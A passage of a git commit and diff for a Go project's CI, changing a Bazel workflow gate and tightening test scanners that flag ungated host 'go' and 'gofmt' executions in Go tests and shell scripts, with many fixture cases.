gofmt && gofmt` (and `go`) as the guarded presence-check idiom instead of flagging it. - host_tool_exec_policy_test.go: make condPolarity reject mixed-polarity && / || compounds (one recognized side, one not) instead of guessing at the recognized side's polarity, which was unsound in both directions; add pinning tests documenting the exec-before-gate and function-value-helper cases as known, safety-conservative limitations rather than bugs. Fixing this exposed a real ungated fallback in cmd/bd/scripttest_test.go (a `go build` that could still run under Bazel on a prebuilt-binary basename mismatch); fixed by symlinking the prebuilt binary under the expected name instead of rebuilding it. - bazel.yml: bazel-server-storage now honors the `integration` input like bazel-integration/bazel-cmd-dolt do, so an explicit "off" skips it too (latent today: no caller passes "off"). Updated ci_workflow_test.go's policy tests to match. Co-Authored-By: Claude Sonnet 5 * fix(ci-policy): close should-fix B (go command -v guard evasion) on #7491 shellCommandVGuard previously excused go the same as gofmt, but under an exit-127 host-tool stub `command -v` finds the stub and the guarded exec still runs, and on a worker genuinely lacking go the exec was silently skipped -- the worker-dependent behavior this policy exists to ban. Drop go from the guard entirely, require the guarded exec to sit directly after the guard's own `&&` (no intervening `;`, `||`, `|`, or leading `!`), and require an exact gofmt match so a same-prefixed sibling like `gofmt-foo`/ `go-junit-report` can't borrow the guard. Add every should-fix B shape as a fixture that must still be flagged, plus the generalized gofmt-side cases (leading `!`, exact-name, post-`;` exec). Also: correct host_tool_exec_policy_test.go's doc claim that a function-value helper call site is "not a soundness hole" -- mixed with one gated direct call site, the invisible function-value call site's ungated-ness is silently lost and the combined verdict flips to gated; pinned as review M22. And recognize a function closed by `} >&2` as ended, so abort-style safety computed inside it does not leak into the rest of the file (no scoped script has this shape today, but a bare `}` equality check would silently miss it the moment one does). Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Sonnet 5 --- .github/workflows/bazel.yml | 18 +- cmd/bd/scripttest_test.go | 22 +- scripts/ci_workflow_test.go | 22 ++ scripts/host_tool_exec_policy_test.go | 206 ++++++++++++- scripts/host_tool_shell_policy_test.go | 408 +++++++++++++++++++++++-- 5 files changed, 629 insertions(+), 47 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index c6376edb3..ba16b7f58 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -220,8 +220,9 @@ on: # test would silently stop the lane on main. integration: description: > - "off" skips bazel-integration; anything else (pr.yml and - bazel-farm.yml pass "on") runs it where remote execution is on. + "off" skips bazel-integration, bazel-cmd-dolt and + bazel-server-storage; anything else (pr.yml and bazel-farm.yml + pass "on") runs them where remote execution is on. type: string required: false default: "on" @@ -2206,10 +2207,13 @@ jobs: # //internal/storage/dolt over a non-race dolt_test build, each shard # running the job's own shard script. --config=doltserver-integration has # exactly --config=integration's build flags, so it compiles nothing - # bazel-integration does not (shared through the remote cache). A job of - # its own, not gated by any integration switch: this is a PR-time tier, - # unlike main.yml's integration jobs, and pr.yml's gate requires it - # (BAZEL_SERVER_STORAGE). + # bazel-integration does not (shared through the remote cache). This is a + # PR-time tier, unlike main.yml's integration jobs, and pr.yml's gate + # requires it (BAZEL_SERVER_STORAGE); it also honors the same + # `integration` input as bazel-integration/bazel-cmd-dolt so an explicit + # "off" skips it too, even though no caller passes that today (pr.yml and + # bazel-farm.yml both pass "on") -- see the `integration` input's own + # description. bazel-server-storage: name: server-Dolt storage tier # Remote execution only, like bazel-integration: locally the tagged race @@ -2218,7 +2222,7 @@ jobs: # retired) and pr.yml's gate requires it to have run here and passed. needs: rbe runs-on: ${{ needs.rbe.outputs.mode == 'remote' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - if: ${{ needs.rbe.outputs.enabled == 'true' }} + if: ${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }} timeout-minutes: 30 outputs: result: ${{ steps.result.outputs.result }} diff --git a/cmd/bd/scripttest_test.go b/cmd/bd/scripttest_test.go index 76fb57651..c2018cd99 100644 --- a/cmd/bd/scripttest_test.go +++ b/cmd/bd/scripttest_test.go @@ -28,9 +28,25 @@ func TestScripts(t *testing.T) { exeName := "bd" binDir := t.TempDir() exe := filepath.Join(binDir, exeName) - if prebuilt, err := findPrebuiltBDBinary(); err == nil && prebuilt != "" && filepath.Base(prebuilt) == exeName { - exe = prebuilt - binDir = filepath.Dir(prebuilt) + prebuilt, err := findPrebuiltBDBinary() + if err != nil { + t.Fatal(err) + } + if prebuilt != "" { + // Under Bazel this is always non-empty (bazeltest.PrebuiltBD), so the + // `go build` fallback below never runs there -- but its basename may + // not be literally "bd" (the injected //cmd/bd:bd_for_tests runfile), + // and the scripts below invoke plain `bd` via sh -c, so symlink it + // under the expected name rather than falling through to a host `go + // build` that would otherwise still run under Bazel on a basename + // mismatch (the exact worker-dependent failure this scan guards + // against: f4-spec.md §9). + if filepath.Base(prebuilt) == exeName { + exe = prebuilt + binDir = filepath.Dir(prebuilt) + } else if err := os.Symlink(prebuilt, exe); err != nil { + t.Fatalf("symlink prebuilt bd binary: %v", err) + } } else if err := goBuildBDCommand(exe).Run(); err != nil { t.Fatal(err) } diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 821067efe..dbf00a4d6 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1722,6 +1722,13 @@ var bazelAdvisoryLanes = map[string]string{ // lane keeps running on main. const bazelIntegIf = "${{ (needs.rbe.outputs.enabled == 'true' || needs.rbe.outputs.mode == 'cache') && inputs.integration != 'off' }}" +// bazelServerStorageIf: like bazelIntegIf, bazel-server-storage honors the +// `integration` input (an explicit "off" skips it too, gastownhall/beads +// #7486 review), but unlike bazel-integration/bazel-cmd-dolt it is +// remote-only (wantRemoteOnlyIf), not mode cache -- there is no PR-time +// warm-cache run of this tier, only remote or nothing. +const bazelServerStorageIf = "${{ needs.rbe.outputs.enabled == 'true' && inputs.integration != 'off' }}" + // F3: package-mcp and package-npm's if. Unlike every other lane's, it does // not read the rbe job's outputs at all - only the caller's package-gates // input - so these two never skip because of execution mode, only because a @@ -1969,6 +1976,13 @@ func TestBazelWorkflowJobsAndExecutionMode(t *testing.T) { wantJobRunsOn, wantJobIf, wantJobSetupEnv = bazelPackageRunsOn[name], bazelPackageGatesIf, wantPackageSetupEnv } else if bazelRemoteOnlyJobs[name] { wantJobIf = wantRemoteOnlyIf + if name == bazelServerJobName { + // Remote-only like bazel-embedded/bazel-proxied, but also + // honors the `integration` input like + // bazel-integration/bazel-cmd-dolt (gastownhall/beads#7486 + // review). + wantJobIf = bazelServerStorageIf + } } else if name == bazelIntegJobName || name == bazelCmdDoltJobName { // The cmd/bd Dolt-server tier runs exactly where the integration // lane does: its build is --config=integration's. @@ -2849,6 +2863,14 @@ func bazelLaneRunModes(t *testing.T, lane, ifExpr string, with map[string]string return map[string]bool{} } return map[string]bool{"remote": true, "fork-ro": true, "fork-rw": true, "cache": true} + case bazelServerStorageIf: + // Remote-only (unlike bazelIntegIf, no mode cache run), but also + // honors `integration` like bazel-integration/bazel-cmd-dolt + // (gastownhall/beads#7486 review). + if strings.EqualFold(with["integration"], "off") { + return map[string]bool{} + } + return map[string]bool{"remote": true, "fork-ro": true, "fork-rw": true} case bazelPackageGatesIf: // F3: unlike every other lane, these two never skip because of the // rbe job's decision - only because the caller turned them off diff --git a/scripts/host_tool_exec_policy_test.go b/scripts/host_tool_exec_policy_test.go index 03ce7c606..0faf447ef 100644 --- a/scripts/host_tool_exec_policy_test.go +++ b/scripts/host_tool_exec_policy_test.go @@ -251,13 +251,28 @@ func condPolarity(cond ast.Expr, prebuiltVars map[string]bool) (bazelWhenTrue bo if e.Op == token.LAND || e.Op == token.LOR { lp, lok := condPolarity(e.X, prebuiltVars) rp, rok := condPolarity(e.Y, prebuiltVars) - switch { - case lok && rok && lp == rp: + // A mixed compound -- one side recognized, the other not -- is + // left unmatched rather than guessed at, for EITHER operator + // (review: "mixed compounds with one unrecognized side are + // taken as a gate", against this function's own doc comment). + // An earlier revision returned the recognized side's polarity + // in that case, which is unsound in both directions: + // - `IsBazel() && testing.Short()` (lok=true, rok=false) + // taken as bazelWhenTrue=true lets `if IsBazel() && + // testing.Short() { t.Skip() }` count as containment-style + // gated even though, without -short, the condition is false + // under Bazel and the exec still runs; + // - `os.Getenv("TEST_SRCDIR") == "" || os.Getenv( + // "FORCE_HOST_GO") != ""` (lok=true, rok=false, since the + // FORCE_HOST_GO side names no recognized Bazel signal) taken + // as bazelWhenTrue=false/matched=true lets abort-style + // wrongly fire when FORCE_HOST_GO is unset off-Bazel. + // The sound rule is operator-dependent (containment needs + // &&-with-unknown to be unmatched; abort needs ||-with-unknown + // to be unmatched), so requiring BOTH sides recognized, for + // both operators, is what the doc comment already promised. + if lok && rok && lp == rp { return lp, true - case lok && !rok: - return lp, true - case rok && !lok: - return rp, true } } } @@ -783,6 +798,185 @@ func bazelOnlyFixture(t *testing.T) { } }) + t.Run("a mixed && compound with one unrecognized side is not a gate (mutation check, review item C)", func(t *testing.T) { + // `IsBazel() && testing.Short()` is true under Bazel only when + // -short was also passed: an earlier revision of condPolarity + // treated the unrecognized `testing.Short()` side as absent and + // returned IsBazel()'s own polarity (bazelWhenTrue=true), which + // wrongly makes this containment-style-gate the exec below for + // every run, including a non-short run under Bazel where the + // condition is false and the exec is NOT skipped. + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build(t *testing.T) { + if bazeltest.IsBazel() && extraCondition() { + t.Skip() + } + exec.Command("go", "build") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the compound is mixed-polarity "+ + "(one side unrecognized), so it must not be treated as a gate", hits) + } + }) + + t.Run("a mixed || compound with one unrecognized side is not a gate (mutation check, review item C)", func(t *testing.T) { + // `os.Getenv("TEST_SRCDIR") == "" || os.Getenv("FORCE_HOST_GO") != + // ""` has a recognized left side (true off-Bazel) and an + // unrecognized right side. An earlier revision returned the + // recognized side's polarity (bazelWhenTrue=false, matched=true), + // which wrongly makes this abort-style-gate the exec: with + // FORCE_HOST_GO unset, off-Bazel, the condition is already true and + // aborts, so the abort-style rule would (wrongly) call the exec + // below safe under Bazel too, when in fact FORCE_HOST_GO could be + // set under Bazel and reach it there. + fset, f, lines := parse(t, `package p + +import ( + "os" + "os/exec" +) + +func build() { + if os.Getenv("TEST_SRCDIR") == "" || os.Getenv("FORCE_HOST_GO") != "" { + return + } + exec.Command("go", "build") +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || hits[0].gated { + t.Fatalf("hits = %+v, want one ungated hit: the compound is mixed-polarity "+ + "(one side unrecognized), so it must not be treated as a gate", hits) + } + }) + + t.Run("exec placed before its gate, in sequence (not nested), still counts as gated -- documented limitation, not a bug (review item C)", func(t *testing.T) { + // This is NOT the M17 false-safe (an exec inside the SAME + // true-under-Bazel branch, ahead of that branch's own abort): here + // the exec is a sibling statement, textually before an unrelated + // `if` later in the function that aborts under Bazel. The package + // comment already documents this scan as deliberately + // position-agnostic ("it does not check that the `if` lexically + // precedes the call"), and "same-function IsBazel gate, textually + // after the exec, still counts" above already pins the single-if + // case. This fixture pins the same behavior for an abort-style gate + // specifically, as its own named case, since gastownhall/beads#7485 + // review flagged "an exec placed before its gate" as still open. + // Fixing it for real would require control-flow-ordering analysis + // this line/AST-position scan does not do; left as a known, + // documented limitation (conservative in the safe direction only + // when paired with the M17 same-branch check above, which this + // fixture does not exercise). + fset, f, lines := parse(t, `package p + +import "os/exec" + +func build() { + exec.Command("go", "build") + if bazeltest.IsBazel() { + return + } +} +`) + hits := findHostToolExecCalls(fset, f, lines) + if len(hits) != 1 || !hits[0].gated { + t.Fatalf("hits = %+v, want one hit reported GATED: pinning the documented "+ + "position-agnostic limitation (not asserting this is safe)", hits) + } + }) + + t.Run("an exec reached only through a function-value helper is not recognized -- documented limitation, not a bug (review item C)", func(t *testing.T) { + // helperIsGatedByAllCallers (via findCallSitesOf) only recognizes a + // bare `name(...)` call (an *ast.Ident). A call through a function + // VALUE -- a variable or struct field holding the helper, or the + // helper passed to another function and invoked indirectly -- is + // not a call site findCallSitesOf's walk can name, so + // helperIsGatedByAllCallers reports zero call sites for it (not + // gated), even when every real invocation happens to be gated. + // This under-approximates safety (it would require an allowlist + // entry it does not actually need), not over-approximates it, so + // it is a usability gap, not a soundness hole IN ISOLATION -- but + // see the next fixture (review M22): mixed with even one call site + // findCallSitesOf DOES see and that one happens to be gated, the + // invisible function-value call site's ungated-ness is silently + // lost, and the combined result flips to "gated". That combined + // case is a soundness hole, not merely a usability gap. + _, helperFile, _ := parse(t, `package p + +import "os/exec" + +func helper() { + exec.Command("go", "build") +} +`) + _, callerFile, _ := parse(t, `package p + +func caller() { + if bazeltest.IsBazel() { + return + } + fn := helper + fn() +} +`) + files := map[string]*ast.File{"helper.go": helperFile, "caller.go": callerFile} + gated, n := helperIsGatedByAllCallers(files, "helper") + if gated || n != 0 { + t.Fatalf("helperIsGatedByAllCallers = (%v, %d), want (false, 0): pinning that a "+ + "function-value call site is invisible to this scan (documented limitation)", gated, n) + } + }) + + t.Run("a helper with one gated direct call and one ungated function-value call is wrongly reported gated (review M22, pinned false-safe)", func(t *testing.T) { + // This is the soundness hole the previous fixture's doc comment + // understated as "not a soundness hole": findCallSitesOf only ever + // sees callerDirect's bare `helper()` call (gated=true). It cannot + // see callerIndirect's `fn := helper; fn()` call at all, so that + // call site -- reached with NO gate -- never lowers the combined + // verdict. helperIsGatedByAllCallers returns gated=true from a + // single visible, gated call site, even though helper's exec also + // runs, unconditionally, through callerIndirect. A caller of this + // helper that relies on helperIsGatedByAllCallers("helper") to + // decide the exec needs no allowlist entry is told it is safe when + // it is not. Pinned as a known, documented limitation (fixing it + // for real needs points-to analysis for a same-package helper + // value), not asserted to be correct. + _, helperFile, _ := parse(t, `package p + +import "os/exec" + +func helper() { + exec.Command("go", "build") +} +`) + _, callerFile, _ := parse(t, `package p + +func callerDirect() { + if bazeltest.IsBazel() { + return + } + helper() +} + +func callerIndirect() { + fn := helper + fn() +} +`) + files := map[string]*ast.File{"helper.go": helperFile, "caller.go": callerFile} + gated, n := helperIsGatedByAllCallers(files, "helper") + if !gated || n != 1 { + t.Fatalf("helperIsGatedByAllCallers = (%v, %d), want (true, 1): pinning the false-safe "+ + "(review M22) -- callerIndirect's ungated function-value call site is invisible, "+ + "so the one visible, gated call site wins even though the exec is not always gated", gated, n) + } + }) + t.Run("TEST_SRCDIR gate", func(t *testing.T) { fset, f, lines := parse(t, `package p diff --git a/scripts/host_tool_shell_policy_test.go b/scripts/host_tool_shell_policy_test.go index 15e58e662..30636c928 100644 --- a/scripts/host_tool_shell_policy_test.go +++ b/scripts/host_tool_shell_policy_test.go @@ -243,24 +243,25 @@ var shellExecAllowlist = map[string][]shellAllowlistEntry{ why: "same fake-go-first-on-PATH gate as the GOEXE line above", }, { - // fn is "cleanup_shared_server", not "": these two lines are - // top-level script code, textually after that indented, + // fn is "" (top level), not "cleanup_shared_server": this line + // is top-level script code, textually after that indented, // nested `cleanup_shared_server() { ... }` definition (around - // test.sh:191-195). findShellHostToolExecs' end-of-function - // detection only recognizes an UNINDENTED closing `}`/`)` (the - // column-0 convention every other in-scope script's functions - // follow); cleanup_shared_server's own closing brace is - // indented, so the scanner never sees this function end and - // attributes every later line in the file to it. Keying this - // entry by that attribution (rather than fixing the shared - // scanner for one nested-function script) keeps this fix - // scoped to what review item 1 asked for. - fn: "cleanup_shared_server", + // test.sh:191-195) has already closed. An earlier revision of + // findShellHostToolExecs's end-of-function detection recognized + // only an UNINDENTED closing `}`/`)`, so it never saw + // cleanup_shared_server's own indented closing brace and + // attributed every later line in the file to that function + // (review: "the scanner never closes an indented function + // header... two allowlist entries are keyed to the wrong + // function"). The scanner now matches a closing brace/paren at + // the SAME indentation as the function's opening line, so this + // line is correctly attributed to top level. + fn: "", snippet: `CMD=(go test -p "$GO_TEST_PKG_PARALLEL" -parallel "$GO_TEST_PARALLEL" -timeout "$TIMEOUT")`, why: "same fake-go-first-on-PATH gate as the GOEXE line above", }, { - fn: "cleanup_shared_server", // see the fn note on the CMD= entry above + fn: "", // see the fn note on the CMD= entry above snippet: `total=$(go tool cover -func="$COVERPROFILE" | awk '/^total:/ {print $NF}')`, why: "same fake-go-first-on-PATH gate; test_script_test.go's fake go's `tool` " + "subcommand (COVERAGE is never requested by the test, so this line only " + @@ -315,6 +316,69 @@ var shellGofmtExec = regexp.MustCompile("(^|[\\s;|&(`])gofmt([\\s;|&)`]|$)") // gofmt, which is not itself an exec of the tool. var shellToolLookup = regexp.MustCompile(`\b(command\s+-v|which|type)\s+(go|gofmt)\b`) +// shellCommandVGuard matches the presence-guard idiom `command -v gofmt +// >/dev/null 2>&1 && gofmt -l .` on a single line (review: "a same-line +// `command -v gofmt && gofmt` is skipped"), and ONLY that exact shape: +// +// - `go` is deliberately not covered. A should-fix found that guarding +// `go` this way is an evasion, not a safety idiom: `command -v go && +// go build` is reported safe here, but under an exit-127 host-tool +// stub `command -v` finds the stub and the exec still runs, and on a +// worker that genuinely lacks `go` the exec is silently skipped -- +// exactly the worker-dependent behavior this policy exists to ban +// (review: "B is an evasion for go"; "the 'safe by construction' +// premise is also false"). For `gofmt` specifically the guard stays +// sound under this policy's own premise (package comment: a host +// gofmt is not guaranteed on the hermetic-first `bazel test` PATH), so +// `command -v gofmt && gofmt` really is safe by construction. +// - The lookup's own clause must not be negated by a leading `!`, and +// must not be separated from its `&&` -- or the `&&` from the exec it +// guards -- by a `;`, `||`, or a bare `|` (review: "… && echo; go +// build" and the rest of the `… && echo; go build` family must still +// be flagged; the fix is to require the guarded exec to come directly +// after the guard's own `&&`, with nothing intervening). The +// `(^|[;&|])` lead-in only starts a match right after a clause +// boundary, which also rules out a leading `!` on the lookup: `! +// command -v gofmt` has no `;`/`&`/`|`/line-start immediately before +// `command`, so it never matches. +// - Both the lookup and the exec must name EXACTLY `gofmt`, not a +// same-prefixed sibling like `gofmt-bin` or (for the `go` case this +// guard no longer covers at all) `go-junit-report` (review: "require +// exact tool-name match (not `go-*` prefixes)"). The boundary class +// mirrors shellGofmtExec's own word-boundary set rather than `\b`, +// since `\b` alone treats the `-` in `gofmt-bin` as a boundary too. +var shellCommandVGuard = regexp.MustCompile( + "(^|[;&|])\\s*(?:command\\s+-v|which|type)\\s+gofmt([\\s;|&)`]|$)[^;|]*?&&\\s*(gofmt)([\\s;|&)`]|$)", +) + +// commandVGuardedExecEnd returns the byte offset of the single gofmt exec +// guarded by a same-line `command -v gofmt ... && gofmt ...`-style idiom on +// line, and whether one was found. Only that EXACT occurrence -- the gofmt +// token immediately following the guard's own `&&` -- is guarded; any other +// gofmt on the line (before the guard, after a `;`/`||`/`|`, or anywhere +// else) is a separate, ungated exec and must still be reported. There is no +// `tool` parameter any more: the guard only ever recognizes gofmt (see +// shellCommandVGuard's comment for why `go` is excluded entirely). +func commandVGuardedExecEnd(line string) (int, bool) { + m := shellCommandVGuard.FindStringSubmatchIndex(line) + if m == nil || m[6] < 0 { + return 0, false + } + return m[6], true +} + +// insideAnyIntSpan reports whether pos lies in any of spans, each a +// [2]int-shaped []int as returned by regexp's FindAllStringIndex / +// FindAllStringSubmatchIndex. +func insideAnyIntSpan(spans [][]int, pos int) bool { + for _, s := range spans { + if pos >= s[0] && pos < s[1] { + return true + } + } + return false +} + // heredocStart matches a `<<` (optionally `<<-`) redirection naming its // terminator, with or without quotes: `<&2` or `2>&1` (review: "a +// function closed by `} >&2` isn't detected as ended"). No scoped script has +// one today, but a plain `trimmed == "}"` equality check would silently stop +// recognizing the function's end -- and leak whatever safety was computed +// inside it into the rest of the file -- the moment one is added. +var funcCloseLine = regexp.MustCompile(`^[})](\s+\S*>\S*)*$`) + +// isFuncCloseLine reports whether trimmed is a function-closing line: a bare +// `}`/`)`, or one followed only by an output redirection. +func isFuncCloseLine(trimmed string) bool { + return funcCloseLine.MatchString(trimmed) +} + +// leadingWhitespace returns s's leading run of spaces/tabs. +func leadingWhitespace(s string) string { + i := 0 + for i < len(s) && (s[i] == ' ' || s[i] == '\t') { + i++ + } + return s[:i] +} + +// shellFuncStart matches a shell function definition's opening line, any +// style this repo uses: `name() {`, `name() (`, `function name {`, or +// `function name() {`. +var shellFuncStart = regexp.MustCompile(`^(?:function\s+([A-Za-z_][A-Za-z0-9_]*)\s*(?:\(\))?|([A-Za-z_][A-Za-z0-9_]*)\s*\(\))\s*[{(]\s*$`) func matchFuncStart(trimmed string) (string, bool) { m := shellFuncStart.FindStringSubmatch(trimmed) if m == nil { return "", false } - return m[1], true + if m[1] != "" { + return m[1], true // `function name {` / `function name() {` + } + return m[2], true // `name() {` / `name() (` } // condVarCheck matches a condition fragment testing one of TEST_SRCDIR or a @@ -652,6 +769,7 @@ func shellLineGating(src string) map[int]bool { var stack []*ifFrame abortSafeFrom := -1 // line after which abort-style safety applies, -1 if none inFunc := false + funcIndent := "" for i, raw := range lines { lineno := i + 1 trimmed := strings.TrimSpace(raw) @@ -659,19 +777,23 @@ func shellLineGating(src string) map[int]bool { stack = nil abortSafeFrom = -1 inFunc = true - } else if inFunc && (raw == "}" || raw == ")") { - // An unindented closing brace/paren alone on a line ends the - // function (matchFuncStart's own column-0 anchoring assumes - // every function body line in this policy's scope is indented, - // the same convention findShellHostToolExecs's currentFn - // tracking uses). Without this reset, abort-style safety + funcIndent = leadingWhitespace(raw) + } else if inFunc && isFuncCloseLine(trimmed) && leadingWhitespace(raw) == funcIndent { + // A closing brace/paren alone on a line, at the SAME indentation + // as the function's own opening line, ends the function + // (findShellHostToolExecs's currentFn tracking uses the same + // rule). Column 0 alone (the previous rule) never closed an + // indented function header like ` cleanup_shared_server() {`, + // so this reset never fired for it and abort-style safety // computed inside one function (e.g. upgrade-smoke-test.sh's // build_candidate) leaked into whatever top-level code follows // the function, long after it closed (review: "the abort/skip - // gate state isn't reset at function end"). + // gate state isn't reset at function end"; "the scanner never + // closes an indented function header"). stack = nil abortSafeFrom = -1 inFunc = false + funcIndent = "" } switch { case strings.HasPrefix(trimmed, "if ") || trimmed == "if": @@ -1019,6 +1141,230 @@ func TestShellHostToolExecPolicyScan(t *testing.T) { t.Fatal("a disjunctive condition is not reasoned about; must not be reported safe") } }) + + t.Run("an indented function's own indented closing brace ends it (mutation check, review: test.sh cleanup_shared_server)", func(t *testing.T) { + // Mirrors scripts/test.sh:191-195's shape: a function defined, + // indented, inside other indented code, whose own closing brace is + // indented to match. A scanner that only recognizes a column-0 `}` + // would never see this function end, and would wrongly attribute + // the top-level `go build` below to cleanup_shared_server instead + // of to top level. + src := "#!/usr/bin/env bash\n" + + "if true; then\n" + + " cleanup_shared_server() {\n" + + " rm -rf \"$DIR\"\n" + + " }\n" + + "fi\n" + + "go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + found := false + for _, h := range hits { + if h.line == 7 { + found = true + if h.fn != "" { + t.Fatalf("line 7 hit fn = %q, want \"\" (top level, past the indented function's "+ + "own closing brace), got hits %+v", h.fn, hits) + } + } + } + if !found { + t.Fatalf("got %+v, want a hit at line 7", hits) + } + // shellLineGating's own function-boundary tracking must reset the + // same way: abort-style safety computed (if any) inside + // cleanup_shared_server must not leak past its indented close. + src2 := "#!/usr/bin/env bash\n" + + "if true; then\n" + + " cleanup_shared_server() {\n" + + " if [ -n \"${CANDIDATE_BIN:-}\" ]; then\n" + + " return\n" + + " fi\n" + + " }\n" + + "fi\n" + + "go build -o out ./cmd/bd\n" + if shellLineGating(src2)[9] { + t.Fatal("line 9 is top-level code after the indented function's indented close; " + + "must not inherit its abort-style safety") + } + }) + + t.Run("a `function name {` header is recognized (POSIX/ksh style)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "function cleanup {\n" + + " true\n" + + "}\n" + + "go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 5 || hits[0].fn != "" { + t.Fatalf("got %+v, want one hit at line 5 attributed to top level", hits) + } + }) + + t.Run("a `function name() {` header is recognized", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "function cleanup() {\n" + + " go build -o out ./cmd/bd\n" + + "}\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].fn != "cleanup" { + t.Fatalf("got %+v, want one hit attributed to fn \"cleanup\"", hits) + } + }) + + t.Run("a function closed by `} >&2` is recognized as ended (review follow-up)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "log() {\n" + + " echo \"$*\"\n" + + "} >&2\n" + + "go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 5 || hits[0].fn != "" { + t.Fatalf("got %+v, want one hit at line 5 attributed to top level: `} >&2` ends log(), "+ + "a bare `}`-only check never would", hits) + } + src2 := "#!/usr/bin/env bash\n" + + "log() {\n" + + " if [ -n \"${CANDIDATE_BIN:-}\" ]; then\n" + + " return\n" + + " fi\n" + + "} >&2\n" + + "go build -o out ./cmd/bd\n" + if shellLineGating(src2)[7] { + t.Fatal("line 7 is top-level code after log()'s `} >&2` close; must not inherit " + + "its abort-style safety") + } + }) + + t.Run("same-line `command -v gofmt && gofmt` is classified as the guarded idiom, not flagged (review)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "command -v gofmt >/dev/null 2>&1 && gofmt -l .\n" + if hits := findShellHostToolExecs(src); len(hits) != 0 { + t.Fatalf("got %+v, want no hits: command -v gofmt && gofmt is safe by construction "+ + "(gofmt is not guaranteed on the hermetic bazel-test PATH)", hits) + } + }) + + t.Run("same-line `command -v go && go build` is NOT a guarded idiom (should-fix B)", func(t *testing.T) { + // go is deliberately not covered by shellCommandVGuard at all (see + // its doc comment): a command -v go guard is a worker-dependent + // skip this policy bans, not a safe-by-construction idiom. + src := "#!/usr/bin/env bash\n" + + "command -v go >/dev/null 2>&1 && go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "build" { + t.Fatalf("got %+v, want one `build` hit at line 2: a command -v go guard must not excuse it", hits) + } + }) + + t.Run("should-fix B: command -v go-junit-report && go test is still flagged", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "command -v go-junit-report >/dev/null 2>&1 && go test ./...\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "test" { + t.Fatalf("got %+v, want one `test` hit at line 2: a go-junit-report lookup must not "+ + "excuse an unrelated go exec (exact tool-name match, not a go-* prefix)", hits) + } + }) + + t.Run("should-fix B: command -v gofmt && echo; go build is still flagged", func(t *testing.T) { + // The `… && echo; go build` family: the lookup's own && really does + // guard `echo`, but the go build after the `;` is a separate, + // unconditional command that must still be reported. + src := "#!/usr/bin/env bash\n" + + "command -v gofmt >/dev/null 2>&1 && echo; go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "build" { + t.Fatalf("got %+v, want one `build` hit at line 2", hits) + } + }) + + t.Run("should-fix B: command -v gofmt && true || go build is still flagged", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "command -v gofmt >/dev/null 2>&1 && true || go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "build" { + t.Fatalf("got %+v, want one `build` hit at line 2", hits) + } + }) + + t.Run("should-fix B: command -v gofmt && echo || true && go build is still flagged", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "command -v gofmt >/dev/null 2>&1 && echo || true && go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "build" { + t.Fatalf("got %+v, want one `build` hit at line 2", hits) + } + }) + + t.Run("should-fix B: ! command -v go && go build is still flagged", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "! command -v go >/dev/null 2>&1 && go build -o out ./cmd/bd\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "build" { + t.Fatalf("got %+v, want one `build` hit at line 2: a negated lookup guards nothing", hits) + } + }) + + t.Run("should-fix B: which go; [ x ] && go test is still flagged", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "which go; [ -x /usr/bin/go ] && go test ./...\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 || hits[0].verb != "test" { + t.Fatalf("got %+v, want one `test` hit at line 2: the lookup is separated from the "+ + "exec's && by a ; and an unrelated [ x ] test", hits) + } + }) + + t.Run("should-fix B generalized: ! command -v gofmt && gofmt is still flagged", func(t *testing.T) { + // Same leading-! requirement applies to the gofmt guard that remains. + src := "#!/usr/bin/env bash\n" + + "! command -v gofmt >/dev/null 2>&1 && gofmt -l .\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 { + t.Fatalf("got %+v, want one hit at line 2: a negated lookup guards nothing", hits) + } + }) + + t.Run("should-fix B generalized: command -v gofmt-foo && gofmt is still flagged (exact tool-name match)", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "command -v gofmt-foo >/dev/null 2>&1 && gofmt -l .\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 { + t.Fatalf("got %+v, want one hit at line 2: gofmt-foo is not gofmt", hits) + } + }) + + t.Run("should-fix B generalized: command -v gofmt && echo; gofmt is still flagged", func(t *testing.T) { + src := "#!/usr/bin/env bash\n" + + "command -v gofmt >/dev/null 2>&1 && echo; gofmt -l .\n" + hits := findShellHostToolExecs(src) + if len(hits) != 1 || hits[0].line != 2 { + t.Fatalf("got %+v, want one hit at line 2: 